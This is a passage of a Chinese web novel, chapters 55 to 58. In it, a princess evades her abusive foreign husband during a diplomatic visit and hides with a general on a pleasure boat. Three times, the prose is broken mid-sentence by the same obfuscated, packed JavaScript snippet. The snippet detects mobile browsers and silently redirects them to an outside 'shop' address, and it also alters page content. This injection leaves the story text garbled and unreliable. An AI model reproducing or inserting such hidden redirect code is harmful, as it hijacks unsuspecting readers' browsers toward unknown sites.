震耳欲聋的几声炮响,火光照彻天际,残肢夹杂着尘土,在荒芜的海岛上冲天而起。潜伏在船上的将士乘势上岸,乱而惨烈的嚎叫声里,一袭黑色战帔从正面直直杀进敌阵,脚边卷起一阵凛冽的疾风。 以刀剑相击的激烈声响作为背景音,汩汩血液流过湿黏的泥土,汇成小溪入海。 55. 毒蛇 玉京,晋王府。 院子里传来微微嘈杂的声音,好像下人在搬运什么东西,虞静延当没有听见,独自在书房办公,过了一会儿,初桃从外面进来,禀报道:“见过殿下。王妃让奴婢过来传话,施粥要用的东西都准备好了,殿下可要过目?” “不必,下去吧。”虞静延道,手上继续批公文。 守在书房的小厮低着头不敢多话,毕竟这几日主子心情不好,任谁都看得出来,不仅不踏足后院,待王妃也比平常冷淡多了。 约莫过了一盏茶的功夫,外间众人纷纷行礼,书房门被敲了两下,旋即打开:“兄长闷在里面做什么呢?嫂嫂都派人来唤你了,你还不出来。” 没人敢拦着,女子径自走了进来。虞静延抬起头望了一眼,不知她是何时来的府上。 “我还有公务,走不开。”虞静延淡淡道。 桌上放着几叠文书,虞静央走近看了看,虽然安安静静不再说话,却也没有露出半点要离开的意思,自顾自坐在了一旁的圈椅上,一副百无聊赖的模样。 虞静延顿了顿,主动出声告诉她:“那天故意在街上拱火闹事的人已经抓住,送去了廷尉府,林岳青主审此案,必定能给你一个交代。” 上次她在街上被围得水泄不通,那般大的阵仗,查过后才知原来是有人混在人群里故意煽动不安情绪,引导百姓围堵她。本就因起战谣言而惊惶不安的百姓在当时的情况下情绪越发激愤,一时也辨认不清虚实状况,就那么拥了上来。 相比苏昀等人的愤慨,虞静央心里反而好受了一些。查到这里,其实幕后指使者无非就那几人,他们心知肚明,但继续调查应该也很难抓住确切的证据,最后只有眼睁睁看着替罪羊被推出来结案。 虞静央已经了解事情始末,还顺利铲除了府上的细作,那日复杂的心情早就平复了。相比这件事,现在她还是更关心兄嫂之间的矛盾。 于是她点头作为回应,又说起施粥的事:“兰县灾情初定,三日后我与嫂嫂同去,兄长一定要多派几个护卫随行才是。” 兰县位于玉京东侧,走得快半日路程就能到达,前段时间因河道决堤造成洪灾,如今情况基本平定,但还是有部分吃不上饭的灾民。她们计划亲自去施粥,既能彰显天家的重视,又可为晋王府揽集民心。 “你去也好。”虞静延思索一番,回道。 南江使团离玉京越来越近,估计到达也就是这两三天的事,既然父皇没有下要虞静央必须在场的死命令,那她就不必露面,在兰县避一避,最好和郁沧一面也不要见,把谈判斡旋的任务全都留给他们。等到何时父皇下令传召,她何时再出现也不迟。 两人闲谈几句,经过一番铺垫,虞静央终于将话茬推向正题:“兄长,你和嫂嫂还没和好?” 最终还是说到了这个话题,虞静延果然沉默,看上去明显不愿意多谈,但在自家人这里,虞静央也不介意自己做个“不识眼色”的蠢家伙。 “嫂嫂都主动示好了,你也该顺着台阶下来,难道还要她当面向你道歉不成?况且,她想要孩子,又不是只为自己,说到底也是为了兄长你和皇家。”虞静央耐着性子。 这些道理虞静延岂会不懂,四年前生乐安的时候,祝回雪在产房疼了一天一夜才熬过去,怀胎时也是受尽了折腾和苦楚。现在她求子之心愈切,要不是为了他和王府,何至于如此拼命? 虞静延默了半晌,问:“是她让你来劝我的?” “没有,是我自己过来的。”虞静央摇头,见他神情微沉,感慨道:“哥哥自认为爱重嫂嫂,其实从没有知道过她的难处。” “什么意思?”虞静延皱眉。 “嫂嫂对待乐安如珠似玉,从来不是重儿轻女之人。前几年对待子嗣也十分淡然,为何最近一反常态呢?” 虞静央一边旁敲侧击,一边苦口婆心地劝说:“哥哥,你若不想嫂嫂继续这样钻牛角尖,也该常常安抚她,告诉她你的态度。” “我早就与她说过很多次,子嗣的事急不得,可她好像越来越听不进去了。那碗禁药……” 虞静延重重叹了口气,停顿一下,最终还是说了下去:“那碗禁药,我本以为也是胡蝉给她的,没想到竟是她自己寻门路买来的。” 关于什么“禁药”,虞静央不知实情为何,所以也不便评价,只有针对前半句,认真道:“兄长,你不逼她,未必外面的人也不会。人言可畏,虽说嫂嫂性情恬淡通透,但也很难完全不受影响。” 虞静延蹙着眉,看样子已经在思量,一贯果断的人此时看上去也变得优柔寡断了。虞静央没了耐心,索性直接下一记猛药:“倘若嫂嫂当真再也不能有孕,你会不会与她和离?” “和离”两个字眼成功打断了虞静延的思绪,堪称严厉地瞪了她一眼,连犹豫都没犹豫:“不会。” 突然被凶,虞静央也没生气,心头微松地笑道:“那兄长就早点去找嫂嫂和好,别再生闷气了。” 要说的话已经说完,她不欲再打扰他处理公事,起身向书房门的方向走,临跨出门时又停下,无奈地补上一句叮嘱:“还有,那条石榴百子裙,你不要再给嫂嫂送类似的东西了。那种花纹的布料,谁看了会不多想?也只有你不当回事。” …… 虞静央走后,房中安静了,一阵诡异的沉默。 半晌,虞静延从出神中反应过来,看向张栩的脸色很差:“……那匹布料,是我送给她的?” 别说虞静延,张栩此时也是满心茫然。府上是有不少好东西,可那匹石榴纹的布料,他怎么半点印象都没有呢? 半个时辰后,张栩终于查清楚了,从外面回来,欲哭无泪地跪在地上请罪——百密一疏,那匹布料还真是从殿下手里出去的。上个月梨花寨献上的贡品给他们晋王府分了一份,殿下吩咐挑好的给王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457622|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃送去,手下人也就照做了。 众人皆知晋王府的忌讳,平时纵是宫里的赏赐也很少故意触霉头,但这次是外面流进来的东西。办事的小厮们没有想到这一环,他们能分辨出东西的好坏,却大多没有读过书,哪里知道石榴百子纹代表了什么意思?恐怕给王妃送去的时候,还大肆奉承了一番殿下的“宠眷”和“偏爱”呢。 了解过事情始末,虞静延疲惫地用手撑住额头,太阳穴突突地跳了起来。难怪那时她故意穿着那条裙子给他看,还问他好不好……现在想想,明明是往她心里插刀子。 虞静央已经回府去了,方才外面稍显杂乱的声音也归于平静。房中烛影绰绰,透着柔和的光,虞静延独自在走廊上站了许久,终于还是先一步低头,敲响了卧房的门,却没想到门一开,探出头来的是个洒扫侍女。 “殿下?” 平时祝回雪只让初桃待在身边,虞静延问:“王妃呢?” 侍女了然:“王妃刚走,去祝府陪小郡主了,殿下是与王妃派去书房送信的人错开了吧?” 他来了,没想到却扑了个空。虞静延顿时心头一阵怅然,空落落的,已经提前想好的话也咽回了肚子。 “知道了。” 被祝回雪派去报信的小厮寻不见主子,这时终于急匆匆赶了过来。虞静延没心思和他们计较,闷头回了书房。 --- 三日后,虞静央和祝回雪结伴到达兰县,由县令亲自引着来到施粥地点,晋王府派来的侍卫和当地护卫都守在周围,不一会儿,灾民就从街头排到了街尾。 许是朝廷赈灾有效,刚刚经历过洪水的兰县并没有想象中那般满目疮痍,反而颇有生机。百姓有序排着队,不见嘈杂拥堵,虞静央在队伍最前首一碗一碗盛着粥,心也不知不觉安静了下来。 “阿绥,累了就歇一歇,不要勉强。”祝回雪同样忙碌着,声音从旁边传来。 虞静央回以一笑:“知道了,嫂嫂。” 入秋了,外面天气晴好,早已没了夏日那样熬人,不过是一点递碗盛粥的小活计,她还应付得来。 虞静央专心把注意力放在眼前的事上,没有关注到不远处传来一阵急促的马蹄声。直到听见侍卫抽刀拔剑的清脆声响,她抬起头,猝然与围圈外神情阴鸷的男人对上了目光。 浓眉鹰目,南江服饰,那双眼睛里晦暗又阴沉,有如实质,毒蛇般紧紧缠上了她。 霎时间,藏在心底的恐惧和恨意双双袭来,几乎要将她淹没。虞静央的身体骤然坠入冰窖,手上脱力一松,盛粥的木勺咕咚一声响,缓缓沉进了半人高的粥桶里。 “储妃,别来无恙。”重新见到这张艳绝的脸蛋,郁沧声音低沉,藏着一丝兴奋的颤抖。 一只挣脱牢笼的鸟儿雀儿,不管飞到哪里,最终还是会被抓回到主人的手掌心,逃也逃不掉。 虞静央,她就是一只雀儿。 56. 庇护 在郁沧身后,还跟着十几个朝服挂髯的老臣,应该就是此次的南江使团了。低垂的衣袖下,虞静央的手微微颤抖,水葱般纤长的指甲攥得生疼。 别来无恙……她可不想要什么别来无恙,只希望能把他千刀万剐。 再度抬眼时,虞静央不躲不闪看了回去,冷冷道:“若我没记错,储君应该带着使者们直向玉京见我父皇,现在却绕路来了兰县。定好的路线说改就改,实在有些儿戏。” 女子言行从容,徐徐说话时威仪天成,言下之意就是他们对大齐朝廷不敬。郁沧一看就知她在这里过得极好,饶有兴趣问:“你是在以何种身份教训我?齐国公主吗?还是我的……” 他没说完,顺势要走近到她面前,祝回雪一把把虞静央护在身后,厉声喝道:“南江储君,还请慎言!” 晋王府护卫事先就受到过叮嘱,毫不犹豫向着南江使团再度拔剑:“胆敢再向前一步!” 见大齐不客气,随行的南江侍卫也不是吃素的,纷纷也抽出刀,气氛顿时剑拔弩张。郁沧身后有老臣见势不对,既是提醒又是警告:“殿下,不要失了分寸。” 面前被好几把剑指着,背后又有老臣的劝阻,郁沧被迫停下脚步,本就不及眼底的笑容更淡了几分。虞静央啊虞静央,我还真是小瞧了你。 他扫了一眼持剑的侍卫们,语气透着遗憾,令人脊背发凉:“看来,储妃是真舍不得故乡了。” 祝回雪依然站在最前面,语气一如往常那样温和,但隐隐透着强硬:“我与三皇妹是女眷,恕不能作主尽地主之谊,还请使团队伍即刻从官道上路,入京朝见圣上。储君想与三皇妹相谈,也应该先由陛下允准。” “多谢晋王妃提醒。” 郁沧口中说谢,但看着实在没什么感激的意思,目光从两个女子之间扫过,最后停留在虞静央脸上,意味深长地说道:“储妃,孤等着你。” 说罢,他唇边最后一点笑意消失地无影无踪,深深望了虞静央一眼,带着随从离开了包围圈。 …… 被郁沧一行人搅乱了心情,虞静央没有听祝回雪的回内室休息,依旧留在草棚下帮饥民盛粥,只是明显有些心不在焉了。直到施粥结束,人群散去,一个乔装打扮过的南江人来到虞静央面前,低首恭敬道:“见过储妃娘娘,主子邀您到酒楼一见。” 他把信物递出去,有了上次小衣的事,虞静央反倒不害怕了,接过后当着众人的面直接打开,是一件刻着南江常见纹样的令牌。 她知道郁沧不会这么轻易离开兰县,毕竟他从来都是个刚愎自用、为达目的不择手段的人。这次南江王派德高望重的老臣随他一同来大齐,八成也是为了时刻掣肘,起到一个制衡的作用,但郁沧的储君地位在,那些大臣只有适度提醒,说到底还是改变不了他的意志。 祝回雪立马就要帮她拒绝,虞静央却对那个南江人道:“本宫知道了,在哪家酒楼?” “隔街同盛楼,储君已在雅间等候。” 祝回雪一惊,用力拉住她:“阿绥,你当真要去见他?” 虞静央安抚地拍拍她手:“嫂嫂别担心。这里是大齐的地盘,郁沧再嚣张跋扈,应该也不敢对我怎么样。我会带着侍卫去,不会有事的。” 祝回雪很不放心,却也没有立场再劝。说一千道一万,虞静央和郁沧至今依然是正经拜过堂的夫妻,他们两人的事,还要他们两个自己来解决。 …… 平民有平民的饥寒窝,富人有富人的销金窟,贫富悲欢自古不相通,天下四方皆是如此。兰县邻近玉京,遭灾前本就是个富庶的大县,豪强富族不在少数,现下灾情平定不久,街头仍有吃不饱饭的灾民依靠官府过活,沿街繁华的酒楼琴坊已然门庭若市,从窗牖溢出靡靡丝竹声。 雅间门打开,侍卫在外把守,里面只坐着郁沧一人。他正饮茶,看见虞静央来了毫不意外,牵起嘴角道:“孤等你许久了。” 虞静央带来的侍卫亦被挡在了雅间门外,但也只隔着一扇门,足以保障主子的安全。她面上神情不显,不紧不慢在他对面落座:“储君急着见我一面,究竟有何要事?” 她面无惧色,甚至不喜不怒,满是漫不经心的淡然,仿佛早把自己的命运握在了手里。这种脱离控制的感觉令郁沧不悦,虚假的笑意渐渐消了下去。 “要事?你是孤的储妃,孤要见你,还要说出个什么‘要事’?” 四下无人,虞静央也不再伪装,冷冷看回去:“西戎攻进南江王都之时储君仓皇而逃,那时可曾想过我是你的储妃?这五年里你我情分如何,众人都心知肚明,储君还要自讨没趣纠缠不放吗?” “哪怕你逃到天涯海角去,你也还是孤明媒正娶的正妻,想逃走?别做梦了。”郁沧冷笑。 明媒正娶的正妻…… 虞静央任他大言不惭,心中怒极反笑。她在南江空有储妃的名头,看似高高在上,实则没有得到半分储妃应享的待遇,若她不反抗,任何人都能来踩一脚。 郁沧还在一件件“清算”:“你刚到南江时还是个温婉懂事的女子,后来却性子越来越倔,屡次忤逆于我,甚至杀了郭元昌。你在府上受人轻视欺侮,我有心护你,你却一次都不肯向我低头,宁愿避居行宫,这桩桩件件,我可有何事夸张冤枉了你?” 桌子下,虞静央的手藏在袖中,缓缓笑了:“若当时我没有病倒,没有自请去行宫修养,你会护着我吗?” 她问完,郁沧的脸色愈发地冷,却没有说话。“护着”背后藏着什么深意,他们两个都心知肚明。 揣着答案问问题的感觉分外地安心,虞静央翘起唇角,杏眸中含着寒冰似的挑衅,一字一句讥诮道:“你不会。你只会把我亲手送进历阳宫,就连看似端正严苛的王后娘娘,亦会睁一只眼闭一只眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13488728|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 历阳宫,是郁沧的父王——南江王的寝宫。当时宫宴上宴酣正浓,她独自坐在角落,当那道浑浊却写着欲望的目光落在她身上时,她几乎要忍受不住强烈涌上来的作呕感。 “储妃犯了什么错,值得幽禁千寻塔这般重的惩罚?沧儿,你未免太不怜香惜玉了。”南江王道。 郁沧回道:“只是内宅的一些小事,不足入父王尊耳。” 南江王目光游移在虞静央身上,意味深长道:“储妃是齐国人,不习惯南江的日子也情有可原,闲暇时可以多进宫来,学学规矩也是好的。” 郁沧的动作几不可闻一顿,旋即恢复如常,拱手笑道:“儿臣遵旨,今后会常送虞氏入宫拜见。” 父子间你一言我一语,就这样定下了她的去向,王后坐在凤座前高高在上,无甚表情,似乎早已习惯了这样的事。虞静央留在原地,指尖凉得如一滩坚冰化成的枯水。 偌大的南江王宫恢弘又肮脏,污秽藏在暗处,其实早就已经上演过君夺臣妻、叔夺兄嫂的惨剧,被掠夺来的女子因美貌失去自由,又因无依无靠葬身黄土。南江王室早已烂进了骨子里,今日父子合谋,若她逆来顺受,便要步那些女子的后尘。 当晚回府,虞静央端起一碗黑漆漆的汤药,一饮而尽。次日,储妃突发恶疾,自请避居行宫修养。 …… 她话语直白不加掩饰,眼中赤裸裸的讽刺更是刺痛了郁沧,当即站起身:“虞静央,你闹够了吗!” 虞静央不说话,就那样静静看着他发怒,如同在看一个跳梁小丑。郁沧压抑住怒火,绕过桌案走到她面前:“女子未嫁从父,出嫁从夫,这是你们中原的道理,亦是南江的祖训。你是南江储妃,莫要忘了自己的本分。” 他手撑在桌子上俯视她,是劝说,也是最后的警告:“跟我回去,从前的一切我都可以既往不咎。” 虞静央失笑,垂在袖中的手指渐渐握紧了那只鼻烟壶,眸中是明晃晃的野心:“要是我不想呢?” “那就让你不得不愿。” 郁沧彻底暴怒,直接拽住她手腕往床铺方向带,虞静央一惊,立刻想抽出手反抗,奈何力气不敌,又被他粗暴地压在了墙角。 炽热的气息铺天盖地袭来,虞静央胃里一阵翻搅,几乎是本能地开始抵触,用尽全身力气不让他贴近。动静惊动了外面的侍卫,刚撞开门,隔壁房间立刻涌出一大批南江侍卫来,再加上原本就守在门口的人,双方人数霎时间悬殊起来。 郁沧表面上只带了几个人,怪不得敢如此嚣张,原来是早有后手! 缠斗还在继续,混乱间,虞静央抓紧手中的物什狠狠一挥,那小巧的“鼻烟壶”尾部瞬间弹出一柄细长的刀片。随着一声闷哼,郁沧骤然脱力,她抓住机会挣脱开来,推倒中间高大的博古架拦住逼近的人,用自己最快的速度打开窗户,毫不犹豫地跳了出去。 57. 避匿 “快追,别让她跑了!” 南江人身在大齐,不敢对晋王府出来的侍卫下死手,只是想办法从与他们的缠斗中脱身,然后听郁沧的令继续追虞静央。 甫一落地,虞静央就立刻开始向外跑,可这座酒楼占地极大,不仅门庭宽敞,后面也别有洞天,竟占据了一片极大的湖泊。水面上飘着十几只画舫,直通向湖对岸的小小汀洲,一看便知是供富人雅客们玩乐用的。 身处在陌生的环境,虞静央摸不清哪里才是出口,又怕四处探索直直撞上郁沧和那群侍卫,只有暂时躲在拐角处。就在她脑中飞转思考对策时,身后突然有人喊她名字:“虞静央!” 虞静央浑身一震,立马回头。他不是在外面打仗吗,怎么会出现在这里? 她还没开口问,萧绍已经急急扳过她肩膀上下检查,见她除了衣领处有点褶皱之外没有什么异常,于是心稍稍放下来,面含愠意扭头就走:“我去找他们算账——” “不许去!”虞静央脱口而出,一把拉住他急声道:“南江使团尚未入京,淮州军就在这儿和他们起了冲突,你猜父皇会怎么想?” 萧绍听后果然定在原地,眼中戾气还没来得及收回,虞静央想说什么,很快又听见南江人追来的声音越来越近,立马拉着他向反方向跑:“跟我走!” 湖边外廊上,两个奔跑的身影不断越过熙熙攘攘的人群,虞静央在前,萧绍在后。从萧绍的角度看,两侧不重要的景和人唰唰地从他眼前路过,一只白皙细嫩的手十分用力地拉着他的,好像生怕他冲动跑掉。在他脚步前面,织绣精致的女子裙角随动作流动翻飞,落霞般的颜色,如一朵鲜活灵动的凌霄花。 这么紧张的时刻,萧绍却微微走神了。他不禁想,就这么跑下去吧,一直跑下去,永远不要停。 找了大半圈都没找到出口,虞静央喘着气,正巧看见几只画舫在湖中怡然游动,而沿岸处还有两三只空闲,于是她急中生智,对萧绍说道:“快,去那只画舫上!” 她直接扯下自己身上的薄氅,马不停蹄拉着萧绍到湖边,环住他腰便不再动了。萧绍眉心一跳,正疑惑她打算如何,旋即猛地懂了她的意思——如果是在之前,她可能还想不出来,但上次他们跃上房顶去看她府上的奸细,用的就是这样的办法。 身后喧哗声越来越大,似乎是南江人追来了。相比心急如焚的虞静央,萧绍倒是一点都不慌张,当虞静央忍不住着急催促时,他脚尖在水面上轻轻一踩,带着她跃上画舫。 伴随着人群里的惊叫声,南江侍卫气势汹汹冲了来,尚未注意到小小画舫上的动静。萧绍来时的火气早被浇灭了,他知道虞静央在担心什么,无非是在这个节骨眼儿上与南江人交恶,会把他自己和淮州军卷入不该有的纷争。 “你自己躲好,放心,我不跟他们动手——唔!” 萧绍把她安置好,正耐着性子说着,一边打算起身。话还没说完,画舫深处那只白皙柔荑竟不管不顾地拽住了他的腰带,他吓了一跳,慌忙间没控制住平衡,直接向她的方向倒了下去! 画舫成群,其中一只毫不起眼,藏在水边无端一晃。青布幕轻柔地摇了几下,光线明暗,隐约能看见一对男女若隐若现。 萧绍倒下来,虽然最后用手臂撑住了,但还是把虞静央困在了方寸之间。暧昧的鼻息近在咫尺,他急急想退开,又被她拉住了。 “别去,你也藏好,快点。”低低的声音在两人之间响起,虞静央的态度难得如此强硬,手上用力,把他拉得更近了一些。 腰带还在她手里抓着,萧绍动弹不得,只有保持现在的姿势,满心都是一个念头:太近了。 习武之人耳聪目明,在他的角度,甚至可以看清虞静央脸上的细小绒毛,还有颤动的纤长睫毛,痒痒的,像扫在了他心上。 明明早就入秋了,微凉的风吹进来,依旧降不了脸上和喉间的热意。萧绍闭了闭眼,几近煎熬地继续撑着船柱,逼自己忽略这荒唐的现状。 “船上有人!” 片刻功夫过去,南江人已经追到湖畔游廊前,挨个检查停靠在旁边的船只。其他画舫里也坐着不少男男女女,大多非富即贵,已经开始对这群衣着奇特的人的蛮横行径有所不满,酒楼掌柜闻讯赶来,两面都不想得罪,于是好言好语劝说着。 郁沧的脸色越来越难看,终是顾忌着影响。他垂着手,仍在汩汩向下淌着血,是方才被虞静央割破的。 这时,接到报信的老臣姗姗来迟,见眼前一片狼籍,指着郁沧怒斥道:“储君还要肆意妄为到什么时候!我们此行是为与齐国修复盟约,不是来决裂的!” 找不到虞静央的身影,郁沧本就在气头上,现在更是听不得一点教训,当即转过身:“那大人想要孤如何做?孤放低身段主动邀约虞氏来这里,不就是为了维持婚盟吗?” “储君本意是对的,却用错了办法。先是想要霸王硬上弓,现在又在齐国的酒楼大闹一通,你这样做,如何能让储妃心甘情愿归国,如何能说服齐国朝廷!” 大臣是三朝元老,不会惧怕郁沧的威慑,见他执迷不悟,于是愈发恨铁不成钢,“储妃是齐国公主,不会在齐国的地盘出事,储君不可再追。现在你唯一该做的事,就是即刻带侍卫撤出酒楼,启程前往玉京。” 大庭广众下被臣子驳了面子,郁沧神色格外阴沉,森冷的目光如刀刃般割人脖颈,昭示着他此刻内心的暴虐情绪。冷静下来后转念一想,或许虞静央今日如此激怒他,就是想引他上套,从而在齐国皇帝面前赚取怜惜,说到底都是她为了留在齐国的手段。 他是被虞静央激怒,一时忘了分寸。 “大人教训的是,孤受教。”俄顷,郁沧缓缓道,好像心情已然平复,擦干净手上凝固的血迹,把绢布蹂躏成凌乱的一团。 他眯起眼,沿着游廊抬步,锐利的眸子扫过粼粼湖光:“那就走吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495654|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,沿着外廊走出去,也就离大门不远了。” …… 画舫中,涌动的气氛愈发黏稠,四面湿润的水汽顺着微风蒸腾飘摇,柔纱一般笼罩在皮肤上。虞静央依然藏在角落,过了一会儿,她听见一群人渐渐靠近的脚步声。 来了。 虞静央静静等待着,敏感地察觉出面前人的肌肉更加紧绷,耳畔咚咚的心跳也鼓噪不停。她不禁弯起眼,手指贴着布料缓慢向后移,不再扣着他的腰带,而是摸到他的后腰。 “低一点,用你的披风遮住我。” 她手上稍稍用力,两人之间空出的距离越来越近,玄色披风顺着垂下来,挡住了臂弯中那道纤柔的身影。 布幕虚掩,挡住了一半的阳光,让船中视线变得昏暗,虞静央处在下方,看不清萧绍的神情,自然也不知道他眸色渐深。起初满是僵硬和生涩,现在却被强势和占有所取代,任由晦暗的墨色漫进眼底。 外面依旧嘈杂,萧绍却浑然不觉,目光始终停在她身上。清透含情的眸子、挺俏的鼻尖,还有红润的嘴唇,样样都是他记忆里最熟悉的,裸露在外的脖颈和锁骨莹润白皙,裙裳掩在周围,仿佛天边的烟云落霞,萦绕着一块降临人间的通灵白玉。 “紧张?”他问。 下一刻,萧绍就着姿势在船板上坐下,手臂揽住她腰一带,空出的距离顷刻间严丝合缝。虞静央一惊,还没来得及说什么,身子却骤然软了下去——萧绍手扣在她后脑,一边贴近她颈间,猛兽扑食的气势,却只是和风细雨般衔住了她的耳垂。 “嗯……”急切而热烈的气息喷洒在耳畔,酥麻的感觉如潮水般袭来,虞静央控制不住地嘤咛一声,心几乎都要跳出来。以郁沧为首的一群人已经停下了脚步,她甚至可以感受到从廊前投来的目光,若被人发现他们在这里…… 她死命往萧绍怀里藏,后者慢悠悠松了口,在她耳边低低哼笑:“放松,他看不到你。” 说完,萧绍再度低头欣赏自己的玉。高挺的鼻梁在她颈间缓缓流连,临到半途,余光瞥见她锁骨旁边有一道指痕,红红的,随意一扫发现不了,但细看就很明显,应该是方才她在雅间里时与那人争执留下的。 妒火霎时燃了起来,他目光不明盯着那处,一口咬了上去。 “唔——” 虞静央毫无防备地惊呼一声,动静不大不小,恰好传进了岸上人的耳朵。郁沧定住脚步,探究的目光停在不远处那只不起眼的画舫上。 水面微晃,在光照底下映出眩目的波光,他微眯起眼,试图看清船中的人和事,奈何画舫四面皆罩着青色的布幕,只有在风声响起时才会小幅度地吹开一个缝隙。 这时,和风徐徐拂过罗幕。船上一双人影绰约,那男子一身玄色劲装,宽阔的臂膀几乎遮住了全部风光,在他怀里还藏着位美娇娘,水葱般的指尖无力地攀在男子肩头,容貌身段都被藏了个严严实实,却格外引人遐想。 58. 卸甲 本来是来找虞静央,没想到能撞见如此一桩风流韵事,察觉出不寻常的人都匆匆移开视线,郁沧却目不转睛地望着,竟忘了适才的不快,突然咧嘴露出个笑来。可真是难得,在处处不顺的时候碰上可供消遣的逸事,遇见两个更疯的人。 齐国自诩清高有礼,还不是照样有野性浪荡之人。郁沧面露谑色,也不避开,而是难得好心情,扬声侃道:“这位兄台,好兴致。” 话音一落,画舫里缠绵的男女都停住了。那女子像是受惊,慌乱地往低躲,男子相比起来显得从容得多,轻抚几下怀中人的发髻,看上去当真是极尽温柔。 像是觉察到岸上不怀好意的窥视,男子一抬手臂,用自己的披风把怀里的女子彻底遮住,随后偏过头,只露出半张轮廓分明的侧脸。 他声音冷冷:“非礼勿视的道理,我还以为是人都懂。” 许是还没忘记老臣的叮嘱,郁沧隐去眸中精光,竟也不恼,而是朗声笑道:“我并非中原人,对不住,扰了二位的兴致。” 温香软玉在怀,男子不欲与他啰嗦,手一探解开了固定在木柱上的船绳。没有了绳索的束缚,画舫很快离开岸边,顺着水流缓缓漂远。 郁沧见状没有起疑,只当是一对有情人被打扰,选择泛舟独处。小船越来越远,他颇为惋惜地一叹,也放弃了搜寻虞静央的事,状似自语:“孤特意绕路来兰县,本是思念储妃心切,奈何储妃不愿相见,孤也只有离开入京。” 南江众人听出储君的话中之意,是要掩盖今日在酒楼的事,纷纷垂首应“是”,跟随离开。 …… 施粥的人群早已散去,厢房里,祝回雪正原地来回踱着步,见侍卫回来复命,立刻着急地迎上去:“怎么样了?” 侍卫恭敬抱拳,禀道:“王妃放心,刚才南江人的队伍从酒楼出来,想必是意识到不妥,打算离开兰县入京了。我们府上的人均已返回,说萧将军已经赶到,正和三殿下在一块呢。” 如此一来,阿绥的安危便不用担心了,而且南江使团踏上了前往玉京的路,要不了多久便会抵达,朝廷应该也要准备接风了。 “这便好……” 祝回雪心中一松,旋即吩咐:“你们留下等阿绥和继淮,剩下的人跟我走,初桃,备车,我们先回玉京。” 早间有人来传话,那些被她放在书肆里的书忽然被人大批量买走,紧接着书肆便被人查封,问也问不出实情来,她猜测出了问题,所以必须亲自去一趟。 众人领命,收拾一番后准备跟随祝回雪回京,刚刚坐上马车准备出发,远处忽然浩浩荡荡来了一行人,竟是来自宫中。 “晋王妃,还请留步。”为首之人并不面生,乃是坤宁宫的许嬷嬷,身后还跟着几个太监宫女,齐齐屈膝行了礼。 兰县虽邻近玉京,但过来也要一段路程,有什么事不能等到回去再说,偏要兴师动众地过来? 晋王府众人皆暗自疑惑,但来者毕竟是皇后身边的红人,总要给几分薄面。祝回雪从马车上下来,温声问道:“许嬷嬷怎么来了?” 面对祝回雪的客气,许嬷嬷却面无笑意,一板一眼道:“皇后娘娘有急事召见,还请晋王妃即刻随奴婢入宫一趟。” 祝回雪心头一凛,但面色未显,不动声色追问:“不知皇后有何要事,许嬷嬷能否透露几分?” 许嬷嬷不回答,只道:“皇后娘娘向来公正宽和,至于今日为何急召,那就要问晋王妃自己了。” 坤宁宫一行人语焉不详,随后不再多说,屈了屈膝便悉数退下去,转而到马车前面等候,分毫不给余地。晋王府中人也有所发觉,试探着请示主子可否要向晋王殿下求助,却被拒绝了。 祝回雪立在原地,看上去脸色依旧,心里却乱成了一团麻。早上书肆出了问题,现在就收到了坤宁宫的急召,理由尚且不明,却明显来者不善,一连串的事巧合地撞在一起,很难不令人忧虑。所以现在她怀疑,“归雪山人”这个身份也许已经暴露了,而且发现的那个人是她最不愿意看到的人,也是最容易对晋王府不利的人。 自从那次胡蝉的事过后,祝回雪和虞静延的关系就降到了冰点,尽管后来渐渐有所缓和,但也只是保持了表面上的“相敬如宾”,心中依旧存有一层消不去的隔阂。祝回雪对此心如明镜,没人主动迈出那一步,自然就打破不了僵局,但她有她的傲气,绝不会让步委曲求全,而虞静延性情内敛,通常不是个会主动低头的人。 何况,他还有后院的其他妾室,离了她,他照样有很多人可以选,若旧的不喜欢,甚至可以再挑新的。 归雪山人……这是她自己的身份,那些书也是她自己一个字一个字写出来的,不该牵连他人。 思及此,祝回雪目光渐渐变得决绝,终是不再踌躇,上了马车。 …… 画舫划开湖面上的静谧,留下几道波纹,晃荡着漂向水上汀洲。 天光云色旖旎,湖水清澈,照着青纱幕中交缠的人影。掌心灼热的温度透过轻薄的衣料沁入皮肤,虞静央坐在萧绍腿上,后者仰着头,唇瓣缱绻地擦过她耳朵、鬓角、脸颊,如同对待什么稀有的珍宝。 四周很安静,只有水声和偶尔传来的呼吸声,不知何时开始,状况从彼此都清楚的“逢场作戏”走到了失控。他们似乎都醒了过来,却又揣着明白装糊涂,忘情地不愿醒来。 